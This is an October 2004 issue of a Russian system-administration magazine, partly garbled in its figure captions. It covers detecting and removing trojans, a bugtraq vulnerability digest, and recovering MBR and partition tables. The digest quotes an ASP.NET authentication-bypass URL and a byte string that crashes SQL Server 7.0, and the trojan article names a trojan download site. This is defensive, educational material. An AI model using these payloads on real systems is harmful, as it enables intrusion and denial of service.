безопасность вис совсем. За 445 порт отвечает драйвер netbt.sys, поэтому есть два способа избавиться от него: ! отключить драйвер netbt.sys через «Диспетчер устройств», но тогда не будет работать DHCP-клиент Windows, что часто необходимо абонентам Интернета, использующим выделенные линии; ! переименовать в ветке реестра HKEY_LOCAL_MACHINE\ SYSTEM\CurrentControlSet\Services\NetBT\Parameters параметр TransportBindName (например, на OldTransport BindName), и после перезагрузки UDP- и TCP-порты будут отключены. Если у вас внешний IP-адрес, то это нелишне сделать, поскольку по статистике 445 и 135 порты чаще всего сканируют в Интернете (см. статистику http://isc.sans.org/ top10.php). Без преувеличения можно сказать, что каждый компьютер во внешней сети подвергается постоянным попыткам соединения с TCP-портами 445 и 135, рассчитывая на то, что пользователи оставили открытым анонимный доступ (null сессию). 135 порт (NETBIOS) отключается в свойствах протокола TCP/IP в свойствах сетевой карты. Открытый порт 1026 говорит о том, что включена «Служба сообщений» (Messenger). Если вы ей не пользуетесь, то отключите этот сервис. Для этого запустите консоль управления сервисами Windows (services.msc), кликните правой кнопкой на «Службе сообщений», выберите «Свойства» и в поле «Тип запуска» выберите «Отключено» и нажмите «OK». И так далее по шагам для каждой программы нужно изучить, что за порты она использует, зачем они ей нужны и желаете ли вы, чтобы она передавала куда-то данные.

Находим программу, производящую несанкционированные соединения с Интернетом В этой части нам нужно распознать программу, которая, попав на компьютер, считывает нужные ей данные (например, ваши пароли) и отсылает их куда-то в Интернет. Поскольку ваши важные данные достаточно небольшого объема: учетные записи, пароли, адреса почтовых ящиков, телефоны dial-up, то передать все это можно очень быстро, особенно если упаковать. Естественно, что все это хранится на диске и все это можно прочитать и посмотреть. Посмотрите хотя бы утилиты MessenPass (http://www.nirsoft.net/ utils/mspass.html) или Protected Storage PassView (http:// www.nirsoft.net/utils/pspv.html). Первая утилита покажет пароли из любого мессенджера (ICQ, MSN, Trillian и т. д), вторая – из Explorer и Outlook. Очевидно, что некоторые процессы соединяются с Интернетом на короткое время и нам очень сложно сидеть весь день за программой CurrPorts и следить, кто именно соединяется с Интернетом. Вдобавок, это может быть бесполезным, поскольку некоторые троянские программы соединяются с Интернетом не сами, а «просят» это сделать другую легальную программу, например, Explorer. Это позволяет им скрыться от слежения и вдобавок обмануть ваш персональный firewall. Например, я уверен, что у вас он пропускает все исходящие соединения Explorer.exe на любой адрес по 80 порту. (Если firewall вообще у вас стоит.) Поскольку Internet Explorer экспортирует функции, которыми может

72

пользоваться любое стороннее приложение, то троян может от имени Internet Explorer зайти на сайт, созданный специально для него (например, недавно ставший известным maybeyes.biz), и как параметры строки передаст ваши логины и пароли или скачает свои дополнительные модули. Если хорошо поискать, то можно даже найти исходный текст подобной программы: tooleaky.zensoft.com/tooleaky.zip. Эта программа использует WinExec() для запуска Explorer. Замечание: сайт maybeyes.biz создан специально для того, чтобы троян Ducky загрузил с этого сайта свою основную часть. Этот троян использует последнюю уязвимость в Windows XP SP1 и Windows 2003, которая позволяет ему загрузиться на ваш компьютер, пока вы просматриваете JPEG(JPG)-картинку. Подробное описание этой уязвимости на сайте Microsoft: MS04-028 (http://www.microsoft.com/ technet/security/bulletin/MS04-028.mspx). Обновление, исправляющее эту уязвимость, доступно на сайте Microsoft. Бороться с таким видом троянов трудно. Персональные firewall не всегда помогают. А точнее, вообще не помогают. В этом можно убедиться, посмотрев список персональных firewall, прошедших leaktests (http://www.firewallleaktester.com/ tests.htm). Leaktest – класс программ, реализующий один из видов утечки информации в обход персонального firewall. Как видно, пока нет идеального firewall, блокирующего все leaktests. Пока в лидерах Look’n’stop, но он тоже ловит не все. К сожалению, чтобы грамотно настроить персональный firewall, нужно обладать как минимум знаниями стека протоколов TCP/IP, представлять, как работает операционная система Windows, и быть знакомым с функциональными возможностями конкретного firewall. Но это тоже не всегда помогает, потому как злоумышленники постоянно ищут (и находят) новые методы обхода firewall. Профессионалы на основе накопленного опыта могут закрыть лазейки в операционной системе, которые уже известны. Но что хакеры придумают завтра – никому неизвестно. Поэтому выбора нет и придется повышать свою грамотность в отношении безопасности. Конечно, с ходу профессионалом в этой области стать сложно, но существенно затруднить нехорошим людям выполнение их замыслов вполне возможно. Существует бесчисленное количество способов попадания трояна на ваш компьютер. Вы можете сами скачать его из Интернета, как «очень интересную программу, которую вы обязательно должны посмотреть», эта программа может прийти вам по электронной почте как «обновление безопасности от Microsoft». Кроме того, вам может послать специально или не специально зараженную программу ваш знакомый по ICQ или MSN, вы можете принести троян или вирус на дискете или компакт-диске. Не стоит думать, что на компакт-дисках не бывает вирусов и троянов. Я видел, как люди параноидально проверяют чистые дискеты из коробки на вирусы, но очень редко встречался с тем, что люди проверяют антивирусом свежекупленные компакт-диски с программным обеспечением или играми. Я видел однажды подобный компакт-диск. На нем была записана компьютерная игра и в довесок вирус. Кроме того, существовало и существует огромное количество дырок в Windows и приложениях под Windows, которые распространяются без участия пользователя. Как правило, они пользуются отсутствием в исполняемом коде


безопасность различных компонентов Windows проверок на длину входящих данных или параметров или, короче говоря, переполнением буфера. Например, известный компьютерный червь Blaster (http://support.microsoft.com/kb/826955/RU/) использует переполнение буфера в сервисе RPC. А вот троян Ducky уже использует ошибку в обработке JPEG-картинок (переполнение буфера) для своего запуска на вашем компьютере. Как это ни ужасно, но, просто просмотрев картинку с удаленного сайта через Explorer, вы рискуете заразиться новым трояном. И неизвестно, что нас ждет завтра. Понятно, что очень сложно предусмотреть все варианты заражения компьютера, и, более того, неизвестно, какие уязвимости Windows вирусы и трояны будут использовать в будущем, поэтому надо выполнять хотя бы два простых правила: ! не скачивать и не запускать неизвестные программы из Интернета; ! включить «автоматическое обновление Windows», чтобы вовремя устранять уязвимости. Но если троян (или вирус) попал на ваш компьютер, то его задача: закрепиться и остаться на компьютере как можно дольше, а при возможности распространиться дальше. Тут и проявляется ахиллесова пята этих троянов (впрочем, как и любого другого вируса) – им нужно, чтобы их кто-то запускал при следущей загрузке Windows. Если они не могут запуститься, то не могут ничего сделать. Для своего последующего запуска они используют стандартные механизмы Windows: запись в папку автозагрузки и в список программ для автозапуска в реестре, запуск по расписанию, установка как сервис, запись в system.ini и win.ini. Как правило, такие трояны не используют вирусную технологию внедрения непосредственно в сам исполняемый файл, а идут отдельным модулем в виде exe- или dll-файла. Наша задача свелась к тому, чтобы «поскрести по сусекам» и выявить все процессы, что у нас есть в автозапуске, и опять посмотреть, нужны ли они нам там. Программы, которые помогают это делать, уже написаны. Windows нам предлагает утилиту msconfig.exe, с помощью которой можно посмотреть INI-файлы, сервисы и автозагрузку (рис. 5). Однако лучшим стандартным средством Windows для просмотра автоматически загружаемых программ является msinfo32.exe (можно запустить через меню Пуск → Программы → Служебные → Сведения о системе) (рис. 6).

Ðèñóíîê 5

Здесь вы увидите более полный список, поскольку получен он из гораздо большего количества укромных мест Windows. Но, к сожалению, отредактировать его эта программа не позволяет. Ну и последний вариант – это просмотреть реестр Windows, используя утилиту regedit.exe. Например, в HKLM\ Software\Microsoft\Windows\CurrentVersion\Run очень много интересного. Посмотрим, какие варианты есть у сторонних разработчиков. Начну с программы Starter (http://codestuff.tripod.com/ features.shtml), которая сама читает данные из реестра и INI-файлов и затем показывает содержимое в удобном виде (рис. 8). Она просматривает и показывает имена программ, которые будут автоматически выполнены. Чтобы увидеть полную картину, нужно в «Настройках» во вкладке «Разное» поставить галочку на параметре «Элементы» только для экспертов, и тогда имена программ она будет брать из следующих ключей реестра, папок автозагрузки и INI-файлов: ! HKEY_CURRENT_USER\Software\Microsoft\Windows\ CurrentVersion\Run; ! HKEY_CURRENT_USER\Software\Microsoft\Windows\ CurrentVersion\RunOnce; ! HKEY_CURRENT_USER\Software\Policies\Microsoft\ Windows\System\Scripts; ! HKEY_CURRENT_USER\Software\Microsoft\Windows\ CurrentVersion\Policies\Explorer\Run; ! HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\ CurrentVersion\Run;

Ðèñóíîê 6

№10(23), октябрь 2004

73


безопасность ! HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\ ! ! ! ! ! ! ! ! ! ! ! !

CurrentVersion\RunOnce; HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\ CurrentVersion\RunOnceEx; HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\ CurrentVersion\Winlogon; HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\ CurrentVersion\ShellServiceObjectDelayLoad; HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\ Windows\System\Scripts; HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\ CurrentVersion\policies\Explorer\Run; HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\ CurrentVersion\Winlogon; HKEY_USERS\.DEFAULT\Software\Microsoft\Windows\ CurrentVersion\Run; HKEY_USERS\.DEFAULT\Software\Microsoft\Windows\ CurrentVersion\RunOnce; папка Current User\Главное меню\Программы\Автозагрузка; папка All Users\Главное меню\Программы\Автозагрузка; папка Default User\Главное меню\Программы\Автозагрузка; файл Win.ini: разделы [Windows].Run, [Windows].Load.

Еще одной ценной особенностью этой программы является то, что она показывает список процессов и подгруженные этими процессами DLL, что позволяет бороться с атака-

Ðèñóíîê 8

74

ми DLL Injection. Я не буду заставлять вас разбираться еще и в этом. Оставьте работу специалистам по безопасности. Но эта программа показывает не все места, где может прятаться троян. Еще нужно смотреть на встраиваемые модули (plugins) Explorer, WinAmp, Photoshop, смотреть, какие зарегистрированы ShellExtension (то, что запускается при нажатии правой кнопки на объекте), «Назначенные задания» и наконец сервисы. Давайте попробуем другую программу WinPatrol PLUS (http://www.winpatrol.com).

Ðèñóíîê 7

Программа платная, но даже в незарегистрированном варианте она позволяет узнать много про ваш Windows. Думаю, что самое полезное окошко в программе – это IE Helpers, где показаны дополнительные модули, которые подгружаются при запуске Explorer. Чаще всего я использую программу Sysinternals Autoruns (http://www.sysinternals.com/ntw2k/freeware/autoruns.shtml) –


безопасность только она показывает ShellExtensions и другие хитрые компоненты Windows (рис. 10). Итак, мы посмотрели, что находится в автозапуске, удалили ненужные программы и заодно удалили трояны, которые периодически запускаются для выполнения «нехороших» задач. Самое главное, что одновременно мы навели порядок в Windows. И напоследок скажу, что если троянская программа при своем запуске удаляет себя из реестра и при завершении Windows добавляет себя снова в реестр, то в этом случае то, что вы читали выше, не работает. Но зато помогает кнопка Reset.

Убить трояна Что самое интересное, периодически это становится трудной задачей. Что делать, если, пытаясь удалить файл, вы сталкиваетесь с сообщениями: «Доступ к файлу запрещен», «Файл используется»? Удалить такие файлы можно только специальным образом. Очевидно, удалять их нужно до того момента, как они начали использоваться, либо убивать процесс, заблокировавший файл, что не всегда возможно.

этом файле, в открывшемся контекстном меню выбираете «Свойства» и в новой вкладке нажимаете кнопку Execute. После перезагрузки этот файл будет удален (рис. 9).

Как посмотреть, что «ушло» с вашего компьютера Несмотря на все наши усилия (и не только наши), все равно нужно констатировать факт, что если мы нашли и обезвредили трояна, то неизвестно, что было украдено с компьютера. Поэтому, после того как мы провели «дезинфекцию», нужно обязательно поменять все пароли. Чтобы в следующий раз не производить все перечисленные выше действия, давайте поставим какой-нибудь продукт, который бы протоколировал все успешные соединения с внешним миром, чтобы потом, уже после инцидента, можно было понять, откуда произошла утечка. Во-первых, приходит на ум поставить галочку «записывать успешные соединения» во встроенном в Windows firewall и периодически просматривать эти записи. Ссылки на программы для удобного просмотра этих объемных протоколов легко найти с помощью любого поискового сервера, например Google. Во-вторых, неплохим бесплатным решением является написанная Microsoft утилита, которая называется Port Reporter (http://support.microsoft.com/?id=837243). Советую внимательно посмотреть на нее. Эта утилита не только протоколирует соединения, но и расписывает все DLL, которыми пользовался процесс. Ну и, наконец, можно поставить любой сторонний firewall, который имеет функции протоколирования соединений. Например, Agnitum Outpost (http:// www.agnitum.com/products/outpost). Но это платный способ.

Как все это автоматизировать Ðèñóíîê 9

Я предлагаю скачать программу MoveOnBoot (http:// www.softwarepatch.com/software/moveonboot.html), которая удалит по вашей просьбе файл в самом начале загрузки Windows, когда файл еще никем не используется. После установки программы просто кликаете правой кнопкой на

Здесь я хочу рассказать о программе System Safety Monitor (http://maxcomputing.narod.ru/ssm.html?lang=ru). Все эти операции были бы необходимы, если бы мы своевременно узнавали о добавлении программ в реестр, в автозапуск, о запуске одних программ другими программами и т. д. Опять же нашелся человек, который это автоматизировал (рис. 11, 12).

Ðèñóíîê 10

№10(23), октябрь 2004

75


безопасность Краткие характеристики:

! Позволяет контролировать, какие приложения могут, а какие не могут быть запущены на вашем компьютере.

! Может запретить одному приложению запускать другое. ! Предотвращает процесс внедрения стороннего кода в чужое приложение («Dll Injection»).

! Может предотвратить установку клавиатурных шпионов. ! Дает возможность контролировать загрузку драйверов. ! Позволяет контролировать доступ к таким объектам ядра, как «\Device\PhysicalMemory».

! Предупреждает об изменении «охраняемого» ключа реестра Windows.

! Позволяет легко редактировать список запускаемых при загрузке компьютера приложений.

! Автоматически закрывает окна в зависимости от их заголовка.

! Подобно меню <Ctrl+Alt+Del> может принудительно за! ! ! ! !

вершать работу запущенных процессов (даже тех, которые в Windows 9x не видны). Имеет легкоредактируемые списки разрешенных и запрещенных приложений. «Запрещенные» приложения автоматически закрываются при запуске. Уведомляет об установке новых сервисов Windows NT Уведомляет об изменениях в заданных INI-файлах и меню автозапуска Windows. По умолчанию контролируется win.ini и system.ini, но можно расширить этот список. Контролирует вызовы API, используемые для внедрения в чужое адресное пространство и для сокрытия процессов. Протоколирует события, происходящие в системе.

Ðèñóíîê 12

76

Ðèñóíîê 11

Эта программа опережает многие программы по функциональности. Она дает пользователю возможность быстро реагировать на событие, предоставляя подробную информацию о том, что произошло, легко настраивается под нужды пользователя и позволяет следить за безопасностью сразу нескольких уязвимых компонентов Windows. Описанные в статье программы должны быть у вас всегда под рукой. Особенно полезными я считаю продукты Sysinternals. Было бы разумно скачать все необходимое программное обеспечение до появления трояна на вашем компьютере и записать на компакт-диск.



bugtraq Удаленное выполнение произвольного кода в Windows Server 2003

Две уязвимости в различных версиях Microsoft Windows

Опасность: критическая. Описание: В Windows Server 2003 SMTP-компоненте обнаружена уязвимость при выполнении Domain Name System (DNS) преобразования. Удаленный атакующий может заставить сервер обработать частичный DNS-запрос, чтобы выполнить произвольный код на уязвимой системе с SYSTEMпривилегиями. Уязвимость также существует в Microsoft Exchange Server 2003 Routing Engine-компоненте на Microsoft Windows 2000 Service Pack 3 или на Microsoft Windows 2000 Service Pack 4. URL производителя: http://www.Microsoft.com. Решение: Установите соответствующее обновление.

Опасность: критическая. Описание: В различных версиях Microsoft Windows обнаружена уязвимость в пути, которым Windows Shell запускает приложения. Удаленный атакующий может сконструировать специально обработанный веб-сайт, чтобы выполнить произвольный код на системе целевого пользователя, посетившего этот сайт. Вторая уязвимость обнаружена в обработке специальных запросов в Program Group Converter. Атакующий может сконструировать специально обработанный запрос, чтобы выполнить произвольный код на системе целевого пользователя, выполняющего некоторые действия типа открытия прикрепленного файла или клика на html-ссылку. URL производителя: www.Microsoft.com. Решение: Установите соответствующее обновление.

Удаленное выполнение произвольного кода в Microsoft Windows XP/2003 Опасность: критическая. Описание: В Microsoft Windows XP/2003 обнаружено переполнение буфера в сжатых (zipped) папках при обработке специально сформированных сжатых файлов. Удаленный атакующий может сконструировать специально обработанный сжатый файл, чтобы выполнить произвольный код на системе пользователя, посетившего злонамеренный веб-сайт. URL производителя: http://www.Microsoft.com. Решение: Установите соответствующее обновление.

Удаленный отказ в обслуживании в Apache Программа: Apache до версии 2.0.51. Опасность: средняя. Описание: Уязвимость обнаружена в Apache web server в обработке IPv6-адресов. Удаленный пользователь может представить параметр отрицательной длины, который приведет к ошибке сегментации. Уязвимость расположена в apr-util/test/testuri.c и aprutil/uri/apr_uri.c. URL производителя: http://httpd.apache.org. Решение: Установите обновленную версию программы: http://httpd.apache.org/download.cgi?update=200409150645.

Уязвимость канонизации в ASP.NET Программа: Microsoft .NET Framework 1.x. Опасность: средняя. Описание: Уязвимость связана с ошибкой канонизации внутри .NET authentication schema. В результате возможно обойти аутентификацию на основе форм или WIndows-аутентификацию, используя специально обработанный URL: http://[victim]/secure%5Cfile.apx

Уязвимость воздействует на все версии ASP.NET для всех версий IIS. URL производителя: http://support.microsoft.com/?kbid= 887459. Решение: Установите обновление: http://www.microsoft.com/ downloads/details.aspx?FamilyId=DA77B852-DFA0-4631AAF9-8BCC6C743026.

Удаленный отказ в обслуживании в Microsoft SQL Server 7.0 Программа: Microsoft SQL Server 7.0 SP3 и более ранние версии. Опасность: средняя. Описание: Отказ в обслуживании обнаружен в Microsoft SQL Server 7.0. Удаленный пользователь может представить чрезмерно большой буфер со специально обработанными данными (700 000 байтовый буфер, за которым следует строка \x10\x00\x00\x10\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\ xcc\xcc\xcc\xcc ), чтобы аварийно завершить работу службы mssqlserver. URL производителя: http://www.microsoft.com. Решение: Способов устранения обнаруженной уязвимости не существует в настоящее время.

Удаленный отказ в обслуживании в Microsoft Windows NT/2000/XP Опасность: средняя. Описание: Уязвимость обнаружена в Microsoft Windows NT/ 2000/XP: переполнение буфера в службе NetDDE. Уязвимость позволяет удаленному атакующему выполнить произвольный код на уязвимой системе с SYSTEM-привилегиями. Служба NetDDE по умолчанию отключена. URL производителя: Microsoft.com. Решение: Установите соответствующее обновление.

Обход парольной защиты в Kaspersky Anti-Virus Программа: Kaspersky Anti-Virus 5.0.149, 5.0.153. Опасность: низкая. Описание: Локальный пользователь может работать с приложением типа RAMcleaner, чтобы загрузить KAV.exe без аутентификации. Затем пользователь может изменить настройки конфигурации. URL производителя: http://www.kaspersky.com. Решение: Способов устранения обнаруженной уязвимости не существует в настоящее время.

Составил Александр Антипов

78



образование

ВОССТАНОВЛЕНИЕ ДАННЫХ НА NTFS-РАЗДЕЛАХ ЧАСТЬ 2 Сегодня мы продолжим говорить о восстановлении данных, сосредоточив свое внимание на загрузочных секторах, таблицах разделов, динамических дисках и всех сопутствующих им служебных структурах.

КРИС КАСПЕРСКИ Master boot record – базовые концепции Первые жесткие диски были небольшого (даже по тем временам) размера и форматировались практически так же, как и дискеты, однако их объемы стремительно росли, и MS-DOS уже не могла их целиком адресовать. Для преодоления этого ограничения был введен механизм разделов (partitions), разбивающий один физический диск на несколько логических, каждый из которых имел свою собственную файловую систему и форматировался независимо от других. За счет чего это достигается? В первом секторе физического диска (цилиндр 0/голов-

80

ка 0/сектор 1) хранится специальная структура данных – master boot record (главная загрузочная запись) или сокращенно MBR. Она состоит из двух основных частей – первичного загрузчика (master boot code) и таблицы разделов (partition table), описывающей схему разбиения и геометрию каждого из логических дисков. В конце сектора по смещению 1FE находится сигнатура 55h AAh, по которой BIOS определяет признак «загрузочности» сектора. Даже если вы не хотите дробить свой винчестер на части и форматируете его как один диск, присутствие master boot record обязательно.


образование

Ðèñóíîê 1. Ñõåìàòè÷íîå ïðåäñòàâëåíèå ðàçáèòîãî äèñêà

При старте компьютера BIOS выбирает загрузочный винчестер (обычно Primary Master, но порядок загрузки в большинстве BIOS можно изменять, а самые продвинутые из них при удержании ESC во время прохождения post (процесса начального тестирования оборудования) даже выводят интерактивное меню), считывает первый сектор в память по адресу 0000h:7C00h, проверяет наличие сигнатуры 55h AAh в его конце, и если такая сигнатура действительно обнаруживается, передает управление на 0000h:7C000h. В противном случае анализируется следующее загрузочное устройство, а если таковое отсутствует, выдается ругательное сообщение. Первичный загрузчик, получив управление, сканирует partition table (которая уже загружена в память!), находит активный раздел (Boot Indicator === 80h), извлекает номер стартового сектора раздела, также называемого boot-сектором, загружает его в память по адресу 0000h:7C00h (предварительно переместив свое тело в другое место, чтобы избежать затирания), убеждается в наличии сигнатуры 55h AAh, передавая управление по 0000h:7C00h, в противном случае выдается ругательное сообщение, и после нажатия на клавишу компьютер перезагружается. Некоторые загрузчики поддерживают несколько активных разделов, последовательно перебирая их один за другим, но это уже отсебятина разработчиков, выходящих за стандартные спецификации Microsoft, что, впрочем, никого не смущает. Если первичный загрузчик поврежден, то BIOS не сможет запустить операционную систему с такого диска, однако при подключении его «вторым» (или загрузке с дискеты) все логические диски будут доступны. Как минимум они должны быть «видны», т.е. команды C:, D:, E: выполняются нормально, правда, работоспособность команды dir уже не гарантируется. Во-первых, для этого файловая система соответствующего раздела должна быть известна загруженной операционной системе и не повреждена, а во-вторых, должен быть цел boot-сектор (но об этом позже). Partition Table, которую анализирует master boot code, а чуть позже – драйвер логических дисков операционной системы, состоит из четырех 10h-записей, расположенных по смещению 1BEh, 1CEh, 1DEh, 1EEh байт от начала диска соответственно. Каждая из них описывает свой логический раздел, задавая его стартовый и конечный сектора, записанные в CHS-формате (да! даже если диск работает в LBAрежиме, патриции все равно адресуются через CHS!). Поле относительного смещения раздела, отсчитываемое от начала таблицы разделов, является вспомогательным, и его избыточность очевидна. То же самое относится и к полю с общим количеством секторов на диске – как будто это нельзя вычислить на основе стартового и конечного секторов! Одни операционные системы и загрузчики игнорируют вспомогательные поля, другие же их активно используют, поэтому они должны соответствовать действительности. 1

Поле идентификатора диска содержит уникальную 32разрядную последовательность, помогающую операционной системе отличить один смонтированный диск от другого и автоматически копирующую в следующий ключ реестра: HKLM\SYSTEM\MountedDevices. На самом деле Windows свободно обходится и без него, поэтому содержимое этого поля некритично. Поле Boot ID содержит идентификатор файловой системы, установленной на разделе, который в случае NTFS равен 07h. За динамическими дисками согласно фирменной спецификации закреплен идентификатор 42h. На самом деле это справедливо лишь для тех из них, что получены путем обновления (update) обычного раздела до динамического. Сведения об остальных динамических дисках в таблице разделов не хранятся, а содержатся в последнем мегабайте физического диска в LDM-базе, и для стандартных дисковых менеджеров они не видны. При установке операционной системы семейства Windows 9х или UNIX на винчестер, содержащий динамические диски, они могут быть необратимо утеряны, поскольку согласно таблице разделов занятое ими пространство отмечено как свободное. Тем не менее загрузочный логический диск (независимо от того, динамический он или нет) в обязательном порядке должен присутствовать в partition table, иначе BIOS не сможет его загрузить. Четырех записей partition table, обеспечивающих всего четыре логических диска, явно не хватало, но расширять таблицу разделов было уже некуда – последняя запись упиралась в конец сектора, а использовать следующий сектор разработчикам не хотелось, поскольку его активно использовали многие вирусы и нестандартные драйвера, к тому же это все равно не решало проблемы, а лишь оттягивало конец. Тогда инженеры нашли другое решение, предложив концепцию расширенных разделов (Extended partition). Если boot ID некоторого раздела равен 05h или 0Fh, он трактуется как «виртуальный физический диск»1 со своей собственной partition table, расположенной в его начале, на которую и указывает стартовый сектор расширенного раздела. Короче говоря, таблица разделов получается вложенной, и уровень вложения ограничен разве что свободным местом жесткого диска и количеством стековой памяти загрузчика (при условии, что он использует рекурсивный алгоритм сканирования). Таблица разделов как бы размазывается вдоль винчестера. Большинство утилит резервирования сохраняют лишь первый сектор, чего явно недостаточно (впрочем, первый сектор гибнет намного чаще других, так что даже плохая политика резервирования лучше, чем совсем ничего).

Ðèñóíîê 2. Ðàñøèðåííàÿ òàáëèöà ðàçäåëîâ

Штатные утилиты разбивки (FDISK.EXE, Disk Manager) в каждой таблице разделов создают один основной и один расширенный раздел. То есть при разбиении винчестера на четыре логических диска на нем образуются четыре partition table (см. листинг 4), хотя в данном случае можно

Термин автора.

№10(23), октябрь 2004

81


образование было бы обойтись и одной. Штатный загрузчик FDISK требует, чтобы активный раздел находился в первом секторе partition table, «благодаря» чему операционная система может грузиться только с диска C:. Нестандартные менеджеры, анализирующие всю цепочку разделов, позволяют загружаться с любого из разделов. Самые честные из них создают в первой partition table еще один раздел (благо если диск был разбит FDISK, свободное место там всегда есть), назначают его активным и помещают в него свое тело. Другие же внедряются непосредственно в MBR, замещая первичный загрузчик, что создает очевидные проблемы совместимости. Òàáëèöà 1. Ôîðìàò MBR

Òàáëèöà 2. Ôîðìàò partition

вить ситуацию, необходимо запустить редактор диска или другую утилиту, а для этого необходимо загрузить операционную систему! Существует несколько путей выхода из этой, казалось бы, неразрешимой проблемы. Самое простое – горячее подключение диска на ходу с последующей работой с ним через BIOS или порты ввода/вывода. Если ни диск, ни материнская плата не умеют (а для IDE-устройств подключение «на лету» представляется довольно жестким испытанием!), вы сможете запустить доктора и работать с диском на физическом уровне. Другой «хакерский» путь, – пропатчить MS-DOS, изменив сигнатуру 55h AAh на что-нибудь еще, тогда она не сможет распознать таблицу разделом и, стало быть, не станет ее анализировать. Как вариант можно записать в boot-сектор дискеты специально подготовленную программу, которая обнуляет MBR или искажает сигнатуру, расположенную в его конце. Просто загрузитесь с нее и все! Ëèñòèíã 1. Ïðèìåð òàáëèöû ðàçäåëîâ, ñôîðìèðîâàííûé ïðîãðàììîé FDISK

Òàáëèöà 3. Âîçìîæíûå çíà÷åíèÿ Boot ID

Если таблица разделов повреждена, логические диски, скорее всего, будут полностью недоступны – они не отображаются в «Моем Компьютере», не появились в панели «Driver» файлового менеджера FAR, а команда C: вызывает ошибку. Искажение таблицы разделов не приводит к немедленному изменению объема уже отформатированных томов (т.к. он хранится в boot-секторе и картах свободного пространства), но при последующем переформатировании произойдет затирание данных из соседнего раздела или же текущий раздел окажется усечен. Кстати говоря, если расширенный раздел указывает сам на себя или на один из предшествующих разделов в цепочке, все известные мне операционные системы наглухо зависнут еще на этапе загрузки, даже если диск подключен «вторым». Чтобы испра-

82

Master boot record – техника восстановления Существует множество утилит для автоматического восстановления master boot code и partition table (Get Data Back, Easy Recovery, Active Data Recovery Software и т. д.). До некоторого времени они вполне успешно справлялись со своей задачей, восстанавливая даже полностью уничтоженные таблицы разделов, однако с появлением емких вин-


образование тов, преодолевших барьер в 2 Гб с помощью всевозможных расширений, они стали часто путаться, и потому доверять им нельзя. Если не хотите потерять свои данные – восстанавливайте MBR самостоятельно (тем более что это достаточно простая операция, не требующая особой квалификации). Восстановление значительно упрощается, если в вашем распоряжении имеется копия таблицы разделов, снятая Sector Inspector или подобными ей утилитами. Однако чаще всего ее все-таки нет… Если операционная система отказывается загружаться, а на экране появляется ругательство от BIOS типа «Disk Boot failure, Non-System disk or disk error... Press Enter to restart», это указывает на разрушение сигнатуры 55h AAh, обычно сопровождаемое смертью первичного загрузчика. Внимание! Очень важно отличать сообщение BIOS от сообщений первичного загрузчика и boot-сектора. Зайдите в BIOS Setup и отключите все загрузочные устройства, оставив активным только диск A: с вытащенной дискетой. А теперь перезагрузитесь и запомните, какое сообщение появится на экране. Это и будет ругательством BIOS. Восстановить сигнатуру 55h AAh можно в любом дисковом редакторе. Когда будете это делать, убедитесь, что в начале диска присутствуют осмысленный master boot code (если вы испытываете затруднение с дизассемблированием в уме, воспользуйтесь IDA PRO или HIEW). Вы не умеете дизассемблировать? Тогда попробуйте оценить степень «нормальности» первичного загрузчика визуально (однако для этого опять-таки требуется опыт работы с кодом). В начале более или менее стандартного загрузчика расположено приблизительно 100h байт машинного кода, в котором обнаруживаются последовательности: 00 7С, 1B 7C, BE 07, CD 13, CD 18, CD 10, 55 AA, а затем идут характерные текстовые сообщения: «Invalid partition table, Error loading operating system, Missing operating system...» ну или подобные им. Если загрузчик поврежден, но сигнатура 55 AA цела, то попытка загрузки с такого диска обернется неизменным зависанием. Восстановить «слетевший» или искореженный первичный загрузчик можно с помощью утилиты FDISK.EXE, запущенной с ключом /MBR, записывающей в главную загрузоч-

ную запись первого диска стандартный master boor code, или командой FIXMBR консоли аварийного восстановления в Windows 2000 (недокументированный ключ /CMBR, появившийся в MS-DOS 7.0, позволяет выбирать любой из подключенных дисков). Внимание! Если вы использовали нестандартный загрузчик (такой, например, как LILO), то после перезаписи MBR сможете загружаться только с основного раздела, а для запуска операционных систем из других разделов вам придется переустановить свой мультизагрузочный менеджер (вообще-то такой менеджер можно написать и самостоятельно, при наличии HIEW, а лучше использовать транслятор ассемблера – работа не займет и получаса). Как уже говорилось, некоторые загрузчики изменяют схему трансляции адресов жесткого диска, и со штатным загрузчиком такой диск будет полностью неработоспособен. Попробуйте переустановить загрузчик с дистрибутивных дисков – быть может, это поможет. В противном случае ничего не остается, как писать свой собственный загрузчик, определять текущую геометрию диска и соответствующим образом транслировать секторные адреса. Это довольно сложная задача, требующая серьезной подготовки, и здесь ее лучше не обсуждать. Если загрузчик говорит «Invalid partition table», это еще не значит, что таблица разделов повреждена, просто ни один из основных разделов не назначен активным. Такое случается при использовании нестандартных загрузчиков, загружающих операционную систему из расширенного раздела. После выполнения команды FDISK /MBR или при установке операционной системы, автоматически заменяющей первичный загрузчик своим собственным, он не обнаружит в пределах досягаемости ни одного активного раздела, и, естественно, разразится многоэтажным ругательством. Такое поведение, в частности, характерно для Windows 98. Для решения проблемы либо восстановите прежний загрузчик, либо установите операционную систему на первичный раздел и, запустив FDISK, сделайте его активным. Загрузитесь с системной дискеты (другого винчестера, CD-диска) и посмотрите, видны ли ваши логические диски или нет. Если да, то смело переходите к следующему пунк-

Проблема нулевой дорожки Главная загрузочная запись жестко держит за собой первый сектор, и если он вдруг окажется разрушенным, работа с таким диском станет невозможной. До недавнего времени проблема решалась посекторным копированием винчестера с переносом данных на здоровый жесткий диск с идентичной геометрией с последующим восстановлением MBR. Сейчас ситуация изменилась. Современные винчестеры поддерживают возможность принудительного замещения плохих секторов из резервного фонда (а некоторые делают это автоматически), поэтому проблема нулевой дорожки, преследующая нас еще со времен гибких дисков и 8-разрядных машин, наконец перестала существовать. Механизм замещения секторов все еще не стандартизирован и осуществляется утилитами, предоставляемыми производителем конкретной модели винчестера. Чаще всего они распространяются бесплатно и могут быть свободно найдены в сети.

№10(23), октябрь 2004

Ëèñòèíã 2. Âíåøíèé âèä òèïè÷íîãî MBR-ñåêòîðà

83


